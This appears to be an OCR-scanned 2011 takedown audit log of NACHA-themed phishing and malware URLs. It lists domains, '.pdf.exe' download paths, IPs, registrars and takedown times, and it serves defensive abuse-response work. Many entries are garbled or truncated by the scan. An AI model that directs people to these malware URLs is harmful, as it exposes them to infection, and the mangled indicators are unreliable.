89277 |http://nachausers-book.com 9/19/2011 6:09 | 9/19/2011 18:43 Malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 12.56
89278|http://nachausers-wirecosts.com 9/19/2011 6:13 | 9/19/2011 22:20 falware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 16.12
89279|http://nachauser om 9/19/2011 6:21 | 9/19/2011 18:30 alware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 12.16
9280]http://nachauser- om 9/19/2011 6:24 | 9/19/2011 22:20 falware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 15.94
9281]http://allnacha-users-bank.com 9/19/2011 6:27 | _9/19/2011 22:21 falware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 15.91
9282]http://all-nac om 9/19/2011 6:33 | 9/19/2011 18:43 malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 12.17
89284 |http://r = com 9/19/2011 6:44 | 9/19/2011 22:22 falware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 15.63
89285 |http://nacha-users-bank.com 9/19/2011 6:57 | _9/19/2011 22:23 falware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 15.42
9286]http://usernacha-bills.com 9/19/20117:07 | 9/19/2011 22:24 falware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 15.27
89287 |http://nachausers-bank.com 9/19/20117:12 | 9/19/2011 18:42 alware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 11.5
89308|http://all-nacha-datainfo.com/report_9011400016671.pdf.exe 9/19/2011 9:58 | _9/19/2011 22:24 malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 12.44
89361|http://r -alarm.com 9/20/2011 4:53 | _9/20/2011 19:26 malware _ 67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 1455 | 9
89362 |http://nacha-cu com 9/20/2011 5:11 | 9/20/2011 14:59 falware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 9.81
89363 |http://xwwwwhtryiqaf .cz.cc/main.php?pag 7286421ee3fd6 | 9/20/2011 5:03 | 9/20/2011 19:30 malware _5.163.88.212 ONIKER AU 14.46
89365 |http://nachausers-industry.com 9/20/2011 5:23 | 9/20/2011 19:18 falware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 13.92
89366/ http://nachauser-account.com 9/20/2011 5:19 | 9/20/2011 19:13 falware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 13.89
89367 |http://nachauser-equipment.com 9/20/2011 5:34 | _9/20/2011 19:07 nalware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 13.54
89369 |http://nacha-industry.com 9/20/2011 5:52 | 9/20/2011 18:54 malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 13.03
89370|http://usernacha-alarm.com 9/20/2011 5:49 | 9/20/2011 18:44 malware _ 67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 12.9
89372|http://nachadata-alarm.com 9/20/2011 6:00 |_9/20/2011 18:34 malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 12.57
89373 |http://nacha-equ e.com 9/20/2011 6:22 | 9/20/2011 18:28 falware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 12.1
89374 |http://nacha-alarm.com 9/20/2011 6:05 | 9/20/2011 18:19 malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 12.25
89375 http://nachausers-account.com 9/20/2011 6:16 | _9/20/2011 18:14 malware _ 67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 11.96
89376 |http://nacha-usersalarm.com 9/20/2011 6:23 | _9/20/2011 17:38 falware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 11.25
89377 |http://r com 9/20/2011 6:28 | 9/20/2011 17:27 malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 10.97
89378|http://nachacustomer-alarm.com 9/20/2011 6:39 | _9/20/2011 17:18 falware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 10.66
89474 |http://nacha-rejected.cx.cc/main eccdcledcds 9/21/20115:01 | 9/21/2011 7:10 fnalware _ |88.241.115.81 oDaddy.com, Inc. HO 2.15 | 10
89475|http://cancele xe 9/21/2011 4:55 | 9/21/2011 22:25 falware _67.195.140.36 | OURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 175 [ 11
89476|http://ach-rejected.cx.cc/main.php?pag 2eccdcledcde 9/21/20115:03 | 9/21/2011 7:11 falware _ |88.241.115.81 dy.com, Inc. HO 2.14
89477 |http://canceled-nacha.cx.cc/main.php?page eccdcledcds 9/21/20115:04 | 9/21/2011 7:12 falware _ |88.241.115.81 dy.com, Inc. HO 2.13
89480|http://nacha-reports.cx.cc/main.php?page=ce862eccdcledcd6 9/21/20115:56 | 9/21/2011 7:15 malware | 88.241.115.81 dy.com, Inc. HO 1.31
89484]http://nacha-details.cx.cc/main.php?page=ce862eccdcledcd6 9/21/20116:24 | 9/21/2011 7:16 malware _ |88.241.115.81 dy.com, Inc. RO 0.86
89485|http://nacha-instructionsuser.com 9/21/20117:44 | 9/21/2011 7:52 fnalware _67.195.140.36 | ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 0.13
89487 |http://nachauser-esti om 9/22/20114:38 | 9/22/2011 8:25 falware _67.195.140.36 | ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 3.78 | 12
89496/ http://t cc/main.php?page=a85f6ff3for5213 9/21/20117:49 | 9/21/2011 7:53 malware _ |88.241.115.81 oDaddy.com, Inc. HO 0.07
89577 |http://ach-transffers-us.com 9/22/20117:22 | 9/22/2011 14:09 falware _67.195.140.36 | ahoo.com Us 6.78
89581 |http://download-report-nacha.org/report-30564646_09_22_2011.pdf.exe 9/22/20117:16 | 9/22/201114:01 falware _67.195.140.36 | Melbourne IT, Ltd (R52-LROR) S 6.75
89583 |http://irofoighghyhurtihnalsop.cx.cc/main.php?page=363cb076cf50e6a5 9/22/20118:12 | 9/22/201116:20 alware _ |88.241.115.81 oDaddy.com, Inc HO 8.12 | 13
89587 |http://t .cx.cc/main.php?page=363cb076cf50e6a5 9/22/20118:22 | 9/22/201114:03 nalware _ |88.241.115.81 oDaddy.com, Inc. HO 5.68
89590]http://transfer-canceled.com 9/22/20118:16 | _9/22/2011 14:01 falware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 5.74
89593 |http://transfers-ach.com 9/22/2011°9:12 | 9/22/2011 13:59 malware _67.195.140.36 Lhco.com Us 4.79
89594 |http://finance-customer.com 9/22/2011 9/22/2011 16:16 falware _ 67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 7.02
89596]http: a-store.com 9/22/2011 9/22/2011 16:1 e 167.195.140.36 ahoo.com Us 6.96
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89837 ‘www.bar oup.org/nacha-data; htmnl 9/27/2011 5:34 | 9/27/2011 12:45 falware _2.55.179.56 | irecti Internet Solutions Pvt. A 7.18 | 14
89839 huntcher main.php?page=10e8281e11627ed1 9/27/20117:28 | 9/27/2011 12:05 falware _ 92.55.144.51 | AMESECURE.COM HO 4.61 | 15
89840 duzaybir.com/nacha-data/index.html 9/27/20118:16 | _9/27/2011 12:42 malware _ §7.223.131.22 kym.com TR 2.42 | 16
89842 ayinsaat nacha-data/index.html 9/27/2011 11:16 | _9/27/2011 12:18 talware _7.223.131.22 kym.com TR 1.03
89846 security.com.au/nacha-data, html 9/27/201111:46 | _9/27/2011 12:33 talware 27.123.28.126 | ust Domains Au 0.78 | 17
89847 ivmstore.com/nacha-data/index.html 9/27/2011 8:33 | 9/27/2011 11:28 falware | 74.120.243.253 oDaddy.com, Inc. S 2.91 | 18
89848 193.27.246.127/report_270918123.pdf.exe 9/27/2011 8:18 | 9/27/2011 20:24 falware _ |93.27.246.127 P_ADDR AU 12.11 | 19
89991 userdata-distribute.com 9/29/2011 8:55 | _9/29/2011 21:11 falware _67.195.140.36 ahoo.com Us 12.27

9992]http:, gkierafnikevyhfger.cx.cc/main.php?page=19dcbf924e67dd7e 9/29/2011 8:57 | _9/29/2011 10:53 alware _ §5.163.88.209 oDaddy.com, Inc. AU 1.93 | 20

9993 http://jitteryworld.com 9/29/2011 8:54 | 9/29/2011 21:12 malware _67.195.140.36 ahoo.com Us 12.29 1
90040 vincent-world.com 9/30/2011 3:06 | 9/30/2011 11:23 alware _67.195.140.36 ahoo.com Us 8.29
90967 eight sonaltrainerconsulting.comyIot.html 10/21/2011 7:14 | 10/25/2011 11:09 malware _184.154.162.82 NOM, INC. S 99.92
90969 1a-priman com/lot.html 10/21/20117:02 | 10/22/2011 13:17 Malware _67.215.244.52 ILD WEST DOMAINS, INC. S 30.25 | 24
90972 ‘etno-plants.ro/lot.html 10/21/2011 6:54 | 10/28/2011 0:30 fmalware 188.240.1.11 lobehosting.com Ho 61.61
90973 bofco.in/lot. html 10/21/20116:39 | 10/31/2011 6:56 malware _|74.36.228.3; blicDomainRegistry.com 1] R40.28
90983 floristeriasdecoar ica.com/lot.html 10/21/2011 6:31| 10/23/2011 3:22 Malware _4.81.81.100 Namecheap.com S 44.84
91227 T ion.com 10/12/2011 15:38 | 10/12/2011 23:44 malware  |73.213.112.12 MONIKER Us 8.1 | 28
91880 mateusaranado.pt/ ~mateusar/dt2pn.html 10/21/2011 4:01 | 10/21/2011 20:01 Mmalware $0.172.225.28 | undacio para a Computacao Cientifica Nacional AT 15.99 | 29
91881 ‘www.beforeyoubet.net/kddueq.html 10/20/2011 12:36 | 10/20/2011 19:35 malware _ 69.72.207.130 | NOM, INC. S 6.98 | 30
91924 KImnsoft.co.in/15cf3ys.html 10/21/2011 4:35 | 10/22/2011 8:54 malware _67.227.189.124 ublicD rv.com 1 28.32
9192 urepass.ca/Oe5avd.html 10/21/20114:39 | 10/22/2011 9:40 Malware 67.227.227.84 | a Inc. Us 29.01 1
91946 linear-pers.com/8hfgiqz.html 10/21/2011 4:45 | 10/25/2011 13:20 Malware _ p06.251.252.32 ETWORK SOLUTIONS, LLC. S 04.58 | 32
91947 Itervista.orq/iw9u2ri.html 10/21/20114:54 | 10/22/2011 8:56 Malware 178.63.41.22 | ‘|m’ucuws Inc. (R11-LROR) 0E 28.03 | 33
91950 com/wttrtz.html 10/21/2011 4:58 | 10/25/2011 13:26 Malware 2.55.186.19 | NORDNET A 04.47 | 34
91954 www -wies. at/6hpxy.html 10/21/20114:18 | 10/24/2011 7:30 malware 0.128.111 NIC.AT i 7521 | 35
91957 Www.qr rigngs.html 10/21/2011 5:05 | 10/27/2011 13:33 alware 62.193.202.50 | OMINALIA G 52.47 | 36
91958 niritech.com/pxkf.html 10/21/2011 5:21 | 10/22/2011 9:42 alware  203.104.22.22 | ahoo.com 1] 28.36
91961 ‘www.vr-intercom.de/yengde.html 10/21/20114:22 | 10/21/2011 4:51 malware _$1.169.145.159 ENIC OE 048 | 37
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92051 nacha-cosm.com 10/20/2011 4:08 | 10/20/2011 6:36 malware 173.213.112.15 AMESECURE.COM Us 2.48 | 41
92052 delallosa mtqy99y.html 10/20/20114:19 | 10/20/2011 6:37 Malware 67.210.244.49 | UBLICDOMAINREGISTRY.COM S 2.20 | 4
92054 thebeadrotisserie.com/vel42.html 10/20/2011 4:43 | 10/20/2011 6:37 malware _198.92.147.248 NOM, INC. Us 1.91 | 4
92056, jade.nseasy.com/~manishar/7xI9bd. html 10/20/2011 5:03 | 10/20/2011 6:38 malware 66.7.221.190 ETWORK SOLUTIONS, LLC. S 1.59 | 44
92067 nacha-plex.com 10/20/2011 7:20 | 10/20/2011 13:47 Malware 173.213.79.8 %KG.NET INC. Us 6.44 | 4
92073 misternet.com/7ilyx4/index.html 10/20/2011 12:34 | 10/20/2011 19:38 falware _ 85.159.144.21 INEEN SRL i 7.08 | 4
92074 eartherd.com/main.php?page=: 3d0f1d8 10/20/2011 12:35 | 10/20/2011 13:48 falware _$9.208.34.116 HE REGISTRY AT INFO AVENUE D/B/A TA REGISTRY RU 122 | 4
92075 winsbyinc.com/case/nachareport20111020.pdf.exe 10/20/2011 10:04 | 10/20/2011 12:14 fnalware _04.93.132.104 UCOWS, INC. S 2.16 | 48
920 bigrace2012.com/3rilvt.html 10/20/2011 13:23 | 10/20/2011 19:33 falware _ 60.22.131.156 | omains Priced Right Us 6.18 | 49
92141 it/5nzzifb html 10/21/2011 2:09 | 10/21/2011 5:11 alware  195.110.124.133 leqister-it i 3.04 | 50
92142 isioncit es.com/vq0c2it/index.html 10/21/2011 2:07 | 10/26/2011 2:42 malware 173.193.84.224 oDaddy.com, Inc. S 20.57 1
92144 marryyourlove.com/s8nryg.html 10/21/2011 2:25 | 10/22/2011 9:46 Malware 67.227.213.96 | IRECTI INTERNET SOLUTIONS PVT. LTD S 3135 | 52
92146 108cms.com/52fv.html 10/21/20112:20 | 11/4/2011 8:15 malware _ $21.128.105.71 AME.COM LLC TH 41.92 | 53
92147 kinderbaby.com.au/7yk2e.html 10/21/2011 2:26 | 10/25/2011 22:46 malware 117.55.235.104 PP Internet Au 16.34 | 54
92148 ludos-apparare.com/di7f.html 10/21/2011 2:33 | 10/26/2011 10:04 fmalware 13.186.33.17 | VH iR 27.52 | 55
92149 'vvag-nord.de/qsfeSthtml 10/21/20112:39 | 10/21/2011 5:09 malware _12.227.207.40 ENIC OE 2.51 | 56
92150 adsentia.it/3desawr/index.html 10/21/2011 2:42 | 10/24/2011 11:34 fmalware $1.29.205.4 | VH I 80.87 | 57
92151 earthorde.com/main.php?page=40adeef8d3d0f1ds 10/21/2011 3:11 | 10/22/2011 9:11 falware  $9.208.34.116 | AMESECURE.COM AU 29.99 | 58
92152 L ) pri9mmp/index. html 10/21/2011 3:12 | 10/25/2011 2:40 Malware  72.167.232.198 oDaddy.com, Inc. S 95.46 | 59
92154 kImnsoft.in/f46am.html 10/21/2011 3:29 | 10/26/2011 12:28 malware _67.227.189.124 irecti Internet Solutions Pvt S 28.99 | 60
92159 dotmascript.com/main.php?page=19efe3a593d6b93b 10/21/2011 3:28 | 10/22/2011 9:35 Malware  $9.208.34.116 | MONIKER AU 30.13
92160 lambre ru/2568.html 10/21/20113:34 | 10/31/2011 6:42 malware 5252 | EGRU-REG-RIPN AU p43.13 1
92161 lapri com/7axxa.html 10/21/2011 3:45 | 10/31/2011 9:00 malware _109.123.71.220 UCOWS, INC. UK R45.26 | 62
92162 qoldencrowr com/t9i1mhb.htmi 10/21/2011 3:44 | 10/29/2011 7:08 Malware 199.73.94.24 OTSTER Us 1954 | 63
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92452 stellacrociere.it/0138sky/index.html 10/24/2011 8:36 | 10/30/2011 10:38 fmalware 213.205.38.22 | iscall Italia s.p.a. i 46.03 | 1
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wcnderlandaperltlf com/bkécjjf/index.html 10/24/2011 13:23 | 10/25/2011 11: al 6.16.88.56 INLINENIC, INC. 1 22.35 170
isioncit es.com/5vpco7p/index.html 10/24/2011 13:29 10/26/2011 2: al 73.193.84.224 oDaddy.com, Inc. S 37.42
altervista.org/wxvg7t/index.html 10/24/2011 13:56 | 10/24/2011 15: al 8.46.64.55 ucows Inc. (R11-LROR) DE 1.06 171
start1g.ovh.net/~leperilj/Snmt index.html 10/24/2011 13:57 10/27/2011 9: al 13.186 VH AR 67.05 172
essetiesse.it/~bav/45tchj/index.html 10/24/2011 16:18 10/25/2011 5: al 1.200.128.79 rotec s.n.c. I 13.21
laboutikjewelry.de/r723ej/index.html 10/24/2011 18:48 10/25/2011 8: al 7.240.3.7 otnetted.com UK 13.89 17:
'johnsrefuse.com/grhltgr/index.html| 10/24/2011 19:15 | 10/24/2011 20: al 9.163.150.96 egister.com S 1.47 174
cisl-iuav.it/78szv3/index.html 10/24/2011 15:02 10/25/2011 7: al 2.149.128.157 ruba s.p.a. I 16.95 17!
om/qop33g6/index.html 10/24/2011 15:13 10/29/2011 7: al 7.225.181.201 %IACUBE S 12.63 176
justupit.com/hw1z9v5/index.html 10/24/2011 19:36 | 10/24/2011 20: al 73.192.224.116 oDaddy.com, Inc. S 0.77 17
0331edc com/akravs/index.html 10/24/2011 20:04 | 10/28/2011 20: al 06.188.192.14 FETWORK SOLUTIONS, LLC. S 96.11 178
67.23.229.1 ~webguy; rchkO mdex html 10/24/2011 15:33 | 10/24/2011 19: al 7.2: 9.132 | P_ADDR S 4.15 179
hanrestaurant.it/e13ix9z/inds 10/24/2011 15:39 | 10/25/2011 11: al 6.16.88.56 | [) di Massimo D'Aguanno I 19.46
ash. ing.c ~ma\5e| 1550098 index.html 10/24/2011 20:24 | 10/27/2011 7: al 7.18.12.98 | NETWORK SOLUTIONS, LLC. S 59.38 180
'meureal.com/310pxw, html 10/24/2011 19:41 10/28/2011 0: al 84.168.126.124 oDaddy.com, Inc. S 76.63 181
arnaudwalravens.be/Inrvpfn/index.html 10/24/2011 19:54 | 10/27/2011 9: al 186. | WVH AR 61.77
‘avis.com.mk/1p3dvlx, html 10/24/2011 18:43 | 10/26/2011 12: al 95.26.152.100 0 entries found K 41.49 182
car ‘gnbsurc, html 10/24/2011 18:15 10/25/2011 2: al 5.60.44.106 | oDaddy.com, Inc. K 8.34 183
1.org/efdama/index.html 10/24/2011 16:36 | 10/31/2011 17: al 08.109.38.129 oDaddy.com, Inc. S 68.79 184
‘www.cedarlakepark.org/inoyaOm/index.html 10/24/2011 16:42 | 10/24/2011 20: al 68.178.232.100 oDaddy.com, Inc. (R91-LROR) S 4.02 185
briantubi.com/8y62x7/index.html 10/24/2011 17:53 | 10/24/2011 19: al 95.43.190.187 UCOWS, INC. 1 1.26 186
aricilik.co/yywkohi/index.html 10/24/2011 20:37 10/25/2011 4: al 4.73.145.40 | EY-SYSTEMS GMBH TR 8.19 187
deldottosindaco.com/78zjraf/index.html 10/24/2011 16:50 10/26/2011 3: al 9.175.21.186 | NOM, INC. K 34.79 188
resifoundry.com/main.php?page=f3f5c73647bdaf4c 10/24/2011 20:00 10/27/2011 5: al 95.189.226.12 JAMESECURE.COM A 57.55 189
‘empiresallies-secrets.com/drnrv64/index.html 10/24/2011 18:03 | 10/25/2011 17: al 84.154.254.154 UCOWS, INC. S 23.13
‘mastermindscs.com/pva3yw, html 10/24/2011 20:11 11/2/2011 17: al 4.53.108.210 | YNADOT, LLC us R13.01 190
'malta.site5.com/~vividimp/20picb/index. html 10/24/2011 17:58 | 10/24/2011 19: al 74.121.239.66 UCOWS, INC. S 1.19 191
beniculturalicampania.it/c3bkh0i/index.html 10/24/2011 20:44 | 10/25/2011 2: al 4.141.22.74 | $upernova s.r.l. 1 5.99 192
‘webland.co.nz/e56g20/index.html 10/24/2011 17:43 | 10/24/2011 19: al 73.192.226.39 omain Agent us 1.75 193
n. imf4o7/index.html 10/24/2011 19:17 10/25/2011 2: al 74.132.128.226 ENIC S 7.31 194
'me-me.info/cmaSkyt/index.html 10/24/2011 20:59 | 10/25/2011 13: al 6 66.58 | oDaddy.com Inc. (R171-LRMS) K 16.26 195
home.tiscalinet.ch/~jungschuetzen.buehne/97xI90/index.html 10/24/2011 20:58 | 10/26/2011 10: al 12.40.5.95 | a llletta S.S H 37.35 196
online. ce Iw92/index.htm! 10/24/2011 21:09 10/27/2011 1: al 03.88.114.65 | -dns.com AU 52.75 197
ry. CDrT\ px7gbs, html 10/24/2011 21:04 | 10/28/2011 4: al 2.167.131.160 oDaddy.com, Inc. S 79.21 198
lemari .com/axo1fc6/index.html 10/24/2011 19:12 10/28/2011 4: al 5.126.221.216 INLINENIC, INC. p 81.37 199
2005mi.de.tl 10/24/2011 19:16 10/25/2011 2: al $0.190.202.43 | InterNetX GmbH DE 7.38 200
it/8i2okj/index.html 10/24/2011 22:29 10/27/2011 7: al 1.29.148.108 | rtera s.r.l. I 57.43 201
resiery.com/main.php?page=206133a43dda613f 10/25/2011 8:54 | 10/25/2011 10: al 95.189.226.12 BIGROCK SOLUTIONS PRIVATE LIMITED A 1.96
Ites-global.com/~ftpuser/nacha-data/report_871742003648.pdf.exe 10/25/2011 9:06 | 10/25/2011 9: al 46.226.194.97 | NOM, INC. GR 0.45 02
ledamdj.com/tv3uk5/index.html 10/25/2011 11:47 | 10/25/2011 22: al 73.192.120.223 NTERNET.BS CORP. S 11.17 0.
joannacutri.com/24pgb5/index.html 10/25/2011 16:02 10/26/2011 3: al 9.65.19.184 | oDaddy.com, Inc. S 10.99 04
www e.com/z2byfr4/index.html 10/25/2011 13:14 | 10/27/2011 8: al 74.121.79.98 | OWEBHOSTING.COM S 43.17 0!
‘www.glowproper com.au/zxb5p35/index.html 10/25/2011 13:47 10/31/2011 5: al 21.50.218.99 | elbourne IT AU 36.01 06
lanuevaera.x10 'bIxow9f) html 10/25/2011 14:48 10/26/2011 3: al 9.175.120.122 oDaddy.com S 12.68 0
3dc.in/5tlb34w; html 10/25/2011 15:19 10/27/2011 5: al 18.67.248.136 Net4India 1] 38.14 08
ity.net/wkcyh3a/index.html 10/25/2011 15:28 | 10/26/2011 10: al 73.192.120.223 ominiofaidate srl S 18.91
izonix.com/zv430r/index.html 10/25/2011 15:36 | 10/26/2011 14: al 6.7.222.41 | NETWORK SOLUTIONS, LLC. S 23.1 209
matocrossing.com/main.php?page=206133a43dda613f 10/25/2011 16:41 | 10/25/2011 23:01 mal 95.189.226.12 AME.COM LLC A 6.33
blacksite.xhost.ro/n2lzyc5/index.html 10/25/2011 15: 10/27/2011 13:25 mnal 95.78.124.19 | CI - ROTLD 0 45.67 210
stellacrociere.it/mjrvrt/index.html 10/25/2011 1 10/30/2011 15:34 13.205. 22 | iscali Italia s.p.a. I 19.69
68.168.100.135/~jinterio/zgnhtto/index.html 10/25/2011 15: 10/27/2011 12:55|malware  |68.168.100.135 IP_ADDR us 44.94| 211




Bufi ttack Typ P NACHA TAKEDOWN AUDIT Registrar Geo DuratiosBillabld Notes
it/eixyc2/index.html 10/25/2011 16:16 | 10/29/2011 21:28 falware _ 81.29.148.108 rtera s.r.l. i 101.2
com/I2nbvok/index. html 10/25/2011 16:36 | 10/30/2011 12:57 malware _£02.9.109.172 LDS, LLC DBA SRSPLUS Y 16.35 2
justpest.co.uk/qOmbfév/index.html 10/25/2011 16:39 | 10/27/2011 5:30 malware _13.229.86.3 VOHOSTING Ltd t/a Evohosting Ltd K 36.85 3
malta.site5.com/~vividimp/7dkxhme/index.html 10/25/2011 16:35| 10/26/2011 3:01 falware 174.121.239.66 UCOWS, INC. S 10.44 4
csoftintl.com/%7Eleo/7alhpg, html 10/25/2011 16:40 | 10/26/2011 10:40 Malware 67.192.62.32 | INETWORK SOLUTIONS, LLC. S 18 5
ledamdj.com/hpa1ldm/index.html 10/25/2011 16:46 | 10/25/2011 23:04 malware _|73.192.120.223 NTERNET.BS CORP. S 6.29
202w, html 10/25/2011 16:55 | 10/25/2011 17:16 malware _ 66.7.210.94 | ostek s.r.I. Us 0.35
‘www.glowproperties.com.au/fagcue3/index.html 10/25/2011 20:02 | _10/31/2011 4:57 malware _ }21.50.218.99 | elbourne IT Au 28.91
aimt.ac.in/f9p19lv/index.html 10/25/2011 21:19 | 10/27/2011 14:42 nalware | 74.37.243.135 rnet (R9-AFIN) 1] 41.39
com/ ~froeter/43uqfd7/index.html 10/25/2011 20:10 | 10/30/2011 15:38 falware  70.86.71.82 | NETWORK SOLUTIONS, LLC. S 15.47 6
corr 5rm6bmf/index.html 10/25/2011 20:25 | 10/28/2011 4:35 malware _ |74.127.108.127 & 1 INTERNET AG S 56.17 7
cory org/xhzm5m/index. html 10/25/2011 20:33 | 10/31/2011 12:20 alware _ 66.7.221.96 | ucows Inc. (R11-LROR) S 35.79 8
iwlounge.it/qimwg92/index.html 10/25/2011 20:26 | 10/30/2011 15:50 alware _ 85.159.144.21 | een s.r.l. i 15.39 9
ns1277. com/~asoprest/h97pki/index.html 10/25/2011 20:25 | 10/26/2011 3:32 alware _ |74.122.175.66 NOM, INC. S 7.12
aimt.ac.in/10br2q/index. html 10/25/2011 20:36 | 10/27/2011 14:41 falware | 74.37.243.135 rnet (R9-AFIN) 1] 42.08
crocet com/nv5h79g/index.html 10/25/2011 20:51 | 10/25/2011 23:15 malware  79.98.40.62 | NOM, INC. i 2.41 0
cp05.digitalpacific.com.au/~austraqc/80s7nn/index.html 10/25/2011 22:08 | 10/28/2011 0:20 alware _ $03.123.59.150 istribute.IT Au 50.21 1
92808|http://jesuschristfamily.com/qzr1nhi/ind 10/25/2011 22:09 | 10/26/2011 14:57 malware _07.45.176.90 | oDaddy.com, Inc. S 16.8 2
‘esb-qiz.com/d07kvsn/index.html 10/25/2011 22:10 | 10/26/2011 12:22 nalware | 22.155.13.146 IRECTI INTERNET SOLUTIONS PVT. LTD. TH 14.2 3
alnhary.com/vb/is.is 10/25/2011 23:08 | 10/27/2011 14:40 alware _ §9.162.126.202 IRECTI INTERNET SOLUTIONS PVT. LTD. 9A 39.53 4
com w html 10/26/2011 0:53 | 10/27/2011 14:21 malware 70.86.71.82 | NETWORK SOLUTIONS, LLC. S 37.47
'wi-air. asia/sh 1qkdb, html 10/26/2011 1:00 | 10/26/2011 5:29 alware  $8.113.1.157 | nom Inc. R78-ASIA (48) S 4.49 | 225
ftp2 d. it/ ~55alex/8qtehb/index.html 10/26/2011 4:21 10/28/2011 4:37 malware _62.149.242.235 ruba s.p.a. I 48.26 | 226
mdmnet.it/i0n0xqg; 10/26/2011 1:02 | 10/26/2011 5:14 alware $4.141.27.235 | 0S NET S.r.l. i 4.2
abitarebene.com/x8da786/index.html 10/26/2011 1:02 | 10/30/2011 15:51 malware $4.141.27.236 | irecti Internet Solutions i 10.81
list.co.uk/ai72olz/index.html 10/26/2011 1:04 | 10/28/2011 18:53 malware _ 08.113.135.124 ebfusion Ltd t/a 123-reg S 65.82 | 227
car ‘wets3tf/index. html 10/26/2011 1:15 | 10/28/2011 16:39 Malware 65.60.44.106 | ODADDY.COM, INC. K 63.39 | 228
com ions/44i html 10/26/2011 1:11 10/27/2011 14:19 Malware 70.86.71.82 | ETWORK SOLUTIONS, LLC. S 37.12
Ites-global.com/~ftpuser/1kghwi2/index.html 10/26/2011 1:52 | 10/26/2011 10:42 Malware #6.226.194.97 | NOM, INC. drR 8.83 | 229
27ma.it/renyc7a/index.html 10/26/2011 1:46 | 10/27/2011 14:55 malware 195.110.124.133 eqister.it 5.p.a. i 37.15 | 230
actionmovir sound/is.is 10/26/2011 3:35 | 10/30/2011 11:41 alware 66.84.18.154 | NOM, INC. Us 04.09 | 231
losemator.com/main.php?page=206133a43dda613f 10/26/2011 3:57 | 10/27/2011 13:28 malware _ 195.189.226.12 AMESECURE.COM A 33.51
qanarlaprimitiva.com/ts58v0m/index. html 10/26/2011 4:18 | 10/27/2011 13:37 malware _184.154.88.226 NOM, INC. S 33.31
‘taekwon-do.biz/Sbiyfag/index.html 10/26/2011 4:16 | 10/28/2011 16:30 Mmalware $4.32.66.182 | SCIC TECHNOLOGIES INC. il 60.24
jaimegarralda.com/q6r0554/index. html 10/26/20114:21 | 11/3/2011 6:30 Mmalware  $2.194.88.7 | NOM, INC. BS 94.15 | 232
ganarlaprimitiva.com/b1 html 10/26/2011 4:26 | 10/26/2011 19:55 malware _184.154.88.226 NOM, INC. S 15.48
com/2fv931q/index.html 10/26/2011 4:42 | 10/26/2011 7:37 malware _184.154.227.20 UCOWS, INC. AA 2.92 | 233
ity.net/qyi00pr/index.html 10/26/2011 4:43 | 10/26/2011 10:45 malware 173.192.120.223 UCOWS, INC. S 6.03
welcome.tdn.com/54ccax) html 10/26/2011 4:35| 10/28/2011 4:40 Malware 67.19.161.34 | UCOWS, INC. S 48.07 | 234
madhusundergroup.com/ntqdrwn, html 10/26/2011 4:58 | 10/27/2011 13:32 malware _ p09.217.227.85 Us 32.58 | 235
mortlandfor com/images/report 9255300655753. pdf.exe 10/26/2011 4:53 | 10/26/2011 11:48 malware 67.220.197.70 | oDaddy.com, Inc. S 6.93 | 236
ora/5vbzpkv; 10/26/2011 5:28 | 10/27/2011 13:26 Malware 67.222.135.42 | oDaddy.com, Inc. (R91-LROR) S 31.95
om/1baypa/index.html 10/26/2011 5:16 | _10/29/2011 7:52 alware _67.225.181.201 wnregistrar.com 1] 74.61
hazeldot.com/main.php?page=a509d9036c6c59e0 10/26/2011 5:30 | 10/26/2011 15:32 malware _195.189.226.12 NOM, INC. A 10.03
csl-uav.it/GkwnSa html 10/26/2011 5:37 | 10/28/2011 2:20 Malware _ 62.149.128.163 ruba s.p.a. I 44.72 | 237
ion.com/Iprczy/index.html 10/26/2011 5:48 | 10/27/2011 5:17 alware  65.163.58.110 | ETWORK SOLUTIONS, LLC. S 23.48 | 238
hfs \Pa .com/zmS5u3ko/index.html 10/26/2011 9:52 | 10/27/2011 5:21 falware _ $04.14.90.185 | %ILD WEST DOMAINS, INC. S 19.48
snipr.com/2ctnno 10/26/2011 10:15 | 10/26/2011 10:47 malware _ |73.245.61.112 DYNADOT, LLC Us 0.53 | 239
